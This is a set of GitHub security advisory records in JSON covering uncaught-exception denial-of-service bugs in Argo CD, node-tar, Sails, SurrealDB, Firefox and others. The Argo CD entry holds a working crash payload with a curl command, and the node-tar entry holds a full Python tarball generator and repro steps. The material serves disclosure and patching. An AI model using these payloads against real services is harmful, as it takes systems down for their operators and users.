{
  "affected": [],
  "aliases": [
    "CVE-2024-42037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-08T10:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability of uncaught exceptions in the Graphics module\nImpact: Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-gmfg-pfqm-qmcp",
  "modified": "2024-08-08T12:30:34Z",
  "published": "2024-08-08T12:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42037"
    },
    {
      "type": "WEB",
      "url": "https://https://consumer.huawei.com/en/support/bulletin/2024/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sails"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-38504"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-27T17:13:14Z",
    "nvd_published_at": "2023-07-27T19:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nIn Sails apps \u003c=v1.5.6, an attacker can send a virtual request that will cause the node process to crash. \n\n### Patches\nThis behavior was fixed in Sails [v1.5.7](https://github.com/balderdashy/sails/releases/tag/v1.5.7)\n\n### Workarounds\nDisable the sockets hook and remove the `sails.io.js` client\n\n### References\nhttps://github.com/balderdashy/sails/pull/7287\n\nBig thanks to @ThomasRinsma at [Codean](https://www.linkedin.com/company/codeanio/)!",
  "id": "GHSA-gpw9-fwm8-7rx7",
  "modified": "2023-07-27T21:36:06Z",
  "published": "2023-07-27T17:13:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/balderdashy/sails/security/advisories/GHSA-gpw9-fwm8-7rx7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38504"
    },
    {
      "type": "WEB",
      "url": "https://github.com/balderdashy/sails/pull/7287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/balderdashy/sails/commit/4a023dc5095a4b30fdc8535f705ed34cd22d2f7d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/balderdashy/sails"
    },
    {
      "type": "WEB",
      "url": "https://github.com/balderdashy/sails/releases/tag/v1.5.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DoS vulnerability for apps with sockets enabled"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.19"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0-rc1"
            },
            {
              "fixed": "2.14.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0-rc1"
            },
            {
              "fixed": "3.2.0-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.2.0-rc1"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0-rc1"
            },
            {
              "fixed": "3.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.18"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-rc1"
            },
            {
              "fixed": "3.0.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-30T18:32:31Z",
    "nvd_published_at": "2025-10-01T21:16:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nIn the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD\u2019s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.\n\nThe slice index [0] is accessed without a length check, causing an index-out-of-range panic.\n\nA single unauthenticated HTTP POST is enough to kill the process.\n\n### Details\n\n```go\ncase azuredevops.GitPushEvent:\n    // util/webhook/webhook.go -- line \u2248147\n    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty\n    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)\n    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)\n    touchedHead     = payload.Resource.RefUpdates[0].Name ==\n                      payload.Resource.Repository.DefaultBranch\n```\n\nIf the attacker supplies \"refUpdates\": [], the slice has length 0.\n\nThe webhook code has no recover(), so the panic terminates the entire binary.\n\n### PoC\n\npayload-azure-empty.json:\n```json\n{\n  \"eventType\": \"git.push\",\n  \"resource\": {\n    \"refUpdates\": [],\n    \"repository\": {\n      \"remoteUrl\": \"https://example.com/dummy\",\n      \"defaultBranch\": \"refs/heads/master\"\n    }\n  }\n}\n```\n\ncurl call:\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n     -H \u0027X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     --data-binary @payload-azure-empty.json\n```\n\nObserved crash:\n\n```\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 205 [running]:\ngithub.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo\n    webhook.go:147 +0x1ea5\n...\n```\n\n### Mitigation\n\nIf you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.azuredevops.username: \u003cyour base64-encoded secret here\u003e\n+  webhook.azuredevops.password: \u003cyour base64-encoded secret here\u003e\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.",
  "id": "GHSA-gpx4-37g2-c8pv",
  "modified": "2025-10-23T20:29:02Z",
  "published": "2025-09-30T18:32:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59538"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/1a023f1ca7fe4ec942b4b6696804988d5a632baf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3995"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.16"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:51:12Z",
    "nvd_published_at": "2026-07-08T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer\u0027s `await/try-catch` around `tar.x()` \u2014 it surfaces as `uncaughtException` and terminates the process.\n\nThis is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern.\n\nA secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.\n\n---\n\n## Root cause\n\n### Vulnerable sink \u2014 `src/pax.ts:157-183`\n\nPAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes:\n\n```ts\n// src/pax.ts:157\nconst parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n  const n = parseInt(line, 10)\n  if (n !== Buffer.byteLength(line) + 1) return set\n  line = line.slice((n + \u0027 \u0027).length)\n  const kv = line.split(\u0027=\u0027)\n  const r = kv.shift()\n  if (!r) return set\n  const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n  const v = kv.join(\u0027=\u0027)                                 // \u003c-- NO NUL STRIP\n  set[k] =\n    /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n      new Date(Number(v) * 1000)\n    : /^[0-9]+$/.test(v) ? +v\n    : v                                                  // \u003c-- v with NULs lands here\n  return set\n}\n```\n\nThe PAX record body is length-prefixed, so the parser knows the exact byte boundary \u2014 but it never checks whether the value half between `=` and `\\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`.\n\n### Correctly-patched cousin sink \u2014 `src/parse.ts:375-388`\n\nThe equivalent code path for GNU L/K long-headers **does** strip NUL bytes:\n\n```ts\n// src/parse.ts:375\ncase \u0027NextFileHasLongPath\u0027:\ncase \u0027OldGnuLongPath\u0027: {\n  const ex = this[EX] ?? Object.create(null)\n  this[EX] = ex\n  ex.path = this[META].replace(/\\0.*/, \u0027\u0027)               // \u003c-- NUL strip applied\n  break\n}\ncase \u0027NextFileHasLongLinkpath\u0027: {\n  const ex = this[EX] || Object.create(null)\n  this[EX] = ex\n  ex.linkpath = this[META].replace(/\\0.*/, \u0027\u0027)           // \u003c-- NUL strip applied\n  break\n}\n```\n\nThe `parse.ts` fix is the maintainer\u0027s own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard.\n\n### Downstream blast radius\n\n`entry.path` and `entry.linkpath` are consumed in:\n- `src/unpack.ts` \u2192 `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir`\n- `src/list.ts` (no crash \u2014 listing tolerates NUL in strings)\n- Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path`\n\nThe crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user\u0027s `await tar.x(...)` Promise rejection boundary.\n\n---\n\n## Proof of Concept\n\n### Artifacts\n- `poc-null-byte-crash.tar` \u2014 3072 bytes \u2014 PAX `path=visible.txt\\x00hidden.txt`\n- `poc-null-linkpath-crash.tar` \u2014 2560 bytes \u2014 PAX `linkpath=target\\x00garbage` (symlink target sink)\n- `poc1-pax-prefix.py` \u2014 minimal PAX-header builder (Python 3, no deps)\n\n### Tarball generator (minimal repro \u2014 Python 3)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PAX-NUL-injection tarball generator for node-tar PoC.\"\"\"\nimport os\n\ndef cksum(b):\n    s = 0\n    for i, x in enumerate(b):\n        s += 0x20 if 148 \u003c= i \u003c 156 else x\n    return s\n\ndef pad512(buf):\n    rem = len(buf) % 512\n    return buf + b\u0027\\0\u0027 * (512 - rem) if rem else buf\n\ndef hdr(name, size, typeflag, prefix=b\u0027\u0027, linkpath=b\u0027\u0027):\n    b = bytearray(512)\n    b[0:len(name[:100])] = name[:100]\n    b[100:108] = b\u00270000644\\0\u0027\n    b[108:116] = b\u00270001000\\0\u0027\n    b[116:124] = b\u00270001000\\0\u0027\n    b[124:136] = (\u0027%011o \u0027 % size).encode()\n    b[136:148] = (\u0027%011o \u0027 % 0).encode()\n    b[148:156] = b\u0027        \u0027\n    b[156:157] = typeflag\n    b[157:157+len(linkpath[:100])] = linkpath[:100]\n    b[257:265] = b\u0027ustar\\x0000\u0027\n    b[265:270] = b\u0027root\\0\u0027\n    b[297:302] = b\u0027root\\0\u0027\n    b[329:337] = b\u00270000000\\0\u0027\n    b[337:345] = b\u00270000000\\0\u0027\n    b[345:345+len(prefix[:155])] = prefix[:155]\n    s = cksum(b)\n    b[148:156] = (\u0027%06o\\0 \u0027 % s).encode()\n    return bytes(b)\n\ndef pax(records):\n    body = b\u0027\u0027\n    for k, v in records:\n        kv = b\u0027 \u0027 + k + b\u0027=\u0027 + v + b\u0027\\n\u0027\n        for digits in range(1, 8):\n            total = digits + len(kv)\n            if len(str(total)) == digits:\n                break\n        body += str(total).encode() + kv\n    return pad512(hdr(b\u0027PaxHeader/poc\u0027, len(body), b\u0027x\u0027) + body)\n\nout  = pax([(b\u0027path\u0027, b\u0027visible.txt\\x00hidden.txt\u0027)])  # NUL in PAX path\nout += hdr(b\u0027placeholder\u0027, 1, b\u00270\u0027)\nout += pad512(b\u0027A\u0027)\nout += b\u0027\\0\u0027 * 1024  # end-of-archive\n\nopen(\u0027poc.tar\u0027, \u0027wb\u0027).write(out)\n```\n\n### Reproduction\n\n```bash\n# 1. Generate tarball\npython3 poc1-pax-prefix.py          # writes poc.tar (3 KB)\n\n# 2. Install vulnerable version\nmkdir repro \u0026\u0026 cd repro\nnpm init -y \u0026\u0026 npm install tar@7.5.16\n\n# 3. Try to extract with documented try/catch \u2014 observe uncaught exception\nmkdir -p ./out\nnode --input-type=module -e \u0027\n  process.on(\"uncaughtException\", e =\u003e {\n    console.log(\"UNCAUGHT:\", e.code, \"-\", e.message);\n    process.exit(99);\n  });\n  import(\"tar\").then(async tar =\u003e {\n    try {\n      await tar.x({ file: \"../poc.tar\", cwd: \"./out\" });\n      console.log(\"NORMAL_RETURN\");\n    } catch (e) {\n      console.log(\"CAUGHT_BY_USER:\", e.code);\n    }\n  });\u0027\n```\n\n### Observed output (verified 2026-06-23 against `tar@7.5.16`)\n\n```\nUNCAUGHT: ERR_INVALID_ARG_VALUE - The argument \u0027path\u0027 must be a string,\nUint8Array, or URL without null bytes.\nReceived \u0027/.../out/visible.txt\\x00hidden.txt\u0027\nexit: 99\n```\n\nThe exception bypasses the user\u0027s `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits.\n\n---\n\n## Impact\n\n### Direct: remote DoS\n\nAny service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:\n\n- npm registry tarball ingestion and downstream mirrors\n- GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains)\n- Container image build pipelines that unpack layer tarballs through node tooling\n- Backup-restore services accepting user uploads\n- CI artifact processors and badge generators\n- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs\n- Cloud functions that auto-extract uploaded archives\n\nA correctly-coded consumer that does:\n\n```js\ntry {\n  await tar.x({ file: req.upload.path, cwd: tmpdir });\n} catch (e) {\n  return res.status(400).json({ error: \u0027bad archive\u0027 });\n}\n```\n\ndoes not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.\n\n### Secondary: parser-differential validator bypass (CWE-436)\n\n| Tool                       | Result for `path=visible.txt\\x00hidden.txt` |\n|----------------------------|----------------------------------------------|\n| GNU tar (`tar -tvf`)       | Lists `visible.txt` (truncated at NUL)      |\n| `bsdtar -tvf`              | Lists `visible.txt` (truncated at NUL)      |\n| Python `tarfile.list()`    | Lists `visible.txt\\x00hidden.txt` (raw)     |\n| node-tar `tar.t({file})`   | Emits raw NUL-bearing path (no crash)       |\n| node-tar `tar.x({file})`   | **Crashes** (uncaught throw)                |\n\nA pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.\n\n---\n\n## Suggested patch\n\nMatch the long-name handler in `parse.ts` \u2014 strip everything from the first NUL onward in `parseKVLine` value parsing:\n\n```diff\n--- a/src/pax.ts\n+++ b/src/pax.ts\n@@ -173,7 +173,7 @@ const parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n\n   const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n\n-  const v = kv.join(\u0027=\u0027)\n+  const v = kv.join(\u0027=\u0027).replace(/\\0.*$/, \u0027\u0027)\n   set[k] =\n     /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n       new Date(Number(v) * 1000)\n```\n\nThis matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change.\n\nA defense-in-depth follow-up: add an explicit `assert(!v.includes(\u0027\\0\u0027))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren\u0027t* path/linkpath also can\u0027t smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL).",
  "id": "GHSA-gvwx-54wh-qm9j",
  "modified": "2026-07-20T21:51:12Z",
  "published": "2026-07-20T21:51:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32995"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:37:23Z",
    "severity": "MODERATE"
  },
  "details": "Denial of service (DoS) vulnerability in the AMS module\nImpact: Successful exploitation of this vulnerability will affect availability.",
  "id": "GHSA-h262-6v4r-hfm3",
  "modified": "2024-05-14T18:30:48Z",
  "published": "2024-05-14T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32995"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2024/5"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/cn/docs/security/update/security-bulletins-phones-202405-0000001902628049"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-20137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-02T04:15:06Z",
    "severity": "HIGH"
  },
  "details": "In wlan driver, there is a possible client disconnection due to improper handling of exceptional conditions. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00384543; Issue ID: MSV-1727.",
  "id": "GHSA-h3pq-wm2x-37wm",
  "modified": "2024-12-02T18:31:55Z",
  "published": "2024-12-02T06:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20137"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/December-2024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-22T20:11:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The `rand::time()` function in SurrealQL generates a random time from an optional range of two Unix timestamps. Due to the underlying use of `timestamp_opt` from the `chrono` crate, this function could potentially return `None` in some instances, leading to a panic when `unwrap` was called on its result in order to return a SurrealQL `datetime` type to the caller of the function.\n\n### Impact\n\nA client that is authorized to run queries in a SurrealDB server would be able to make repeated (in the order of millions) calls to `rand::time()` in order to reliably trigger a panic. This would crash the server, leading to denial of service.\n\n### Patches\n\nThe function has been updated in to guarantee that some `datetime` is returned or that an error is otherwise gracefully handled.\n\n- Version 2.1.0 and later are not affected by this issue.\n\n### Workarounds\n\nAffected users who are unable to update may want to limit the ability of untrusted clients to run the `rand::time()` function in the affected versions of SurrealDB using security capabilities. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.\n\n### References\n\n- #5126\n- [SurrealQL Documentation - Database Functions (`rand::time`)](https://surrealdb.com/docs/surrealql/functions/database/rand#randtime)\n- [SurrealDB Documentation - Security Capabilities (Functions)](https://surrealdb.com/docs/surrealdb/security/capabilities#functions)",
  "id": "GHSA-h4f5-h82v-5w4r",
  "modified": "2024-11-22T20:11:38Z",
  "published": "2024-11-22T20:11:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-h4f5-h82v-5w4r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/pull/5126"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/surrealdb/surrealdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SurrealDB has an Uncaught Exception in Function Generating Random Time"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-8249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:41Z",
    "severity": "HIGH"
  },
  "details": "mintplex-labs/anything-llm version git 6dc3642 contains an unauthenticated Denial of Service (DoS) vulnerability in the API for the embeddable chat functionality. An attacker can exploit this vulnerability by sending a malformed JSON payload to the API endpoint, causing a server crash due to an uncaught exception. This issue is fixed in version 1.2.2.",
  "id": "GHSA-h5jv-6xg2-9cv8",
  "modified": "2025-03-20T12:32:48Z",
  "published": "2025-03-20T12:32:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8249"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mintplex-labs/anything-llm/commit/548da9ade30368289c5beaf0a8ee2ed2b5c1d81c"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/2fb0c93f-5bc1-4212-bdca-292db7c6951f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-0754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-23T14:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Some WASM source files could have caused a crash when loaded in devtools. This vulnerability affects Firefox \u003c 122.",
  "id": "GHSA-h6xq-j8xx-3fv4",
  "modified": "2025-05-22T18:31:12Z",
  "published": "2024-01-23T15:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0754"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1871605"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-15649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T04:16:23Z",
    "severity": "MODERATE"
  },
  "details": "IO::Uncompress::Unzip versions before 2.215 for Perl propagate uncaught exception when parsing zip header with malformed DOS date.\n\n_dosToUnixTime() decodes the local-file-header last-modification date field and calls Time::Local::timelocal() without an eval guard. A header whose date field decodes to an out-of-range month, day, or hour causes timelocal() to die.\n\nThe exception propagates out of IO::Uncompress::Unzip-\u003enew($file) where callers expect undef plus $UnzipError.",
  "id": "GHSA-hcq9-8v5x-mqjp",
  "modified": "2026-05-29T18:31:15Z",
  "published": "2026-05-27T06:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmqs/IO-Compress/issues/65"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmqs/IO-Compress/commit/fd28c1d2374eee9811f6d0c5bddc0957abdf1da8.patch"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/PMQS/IO-Compress-2.215/changes"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/27/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}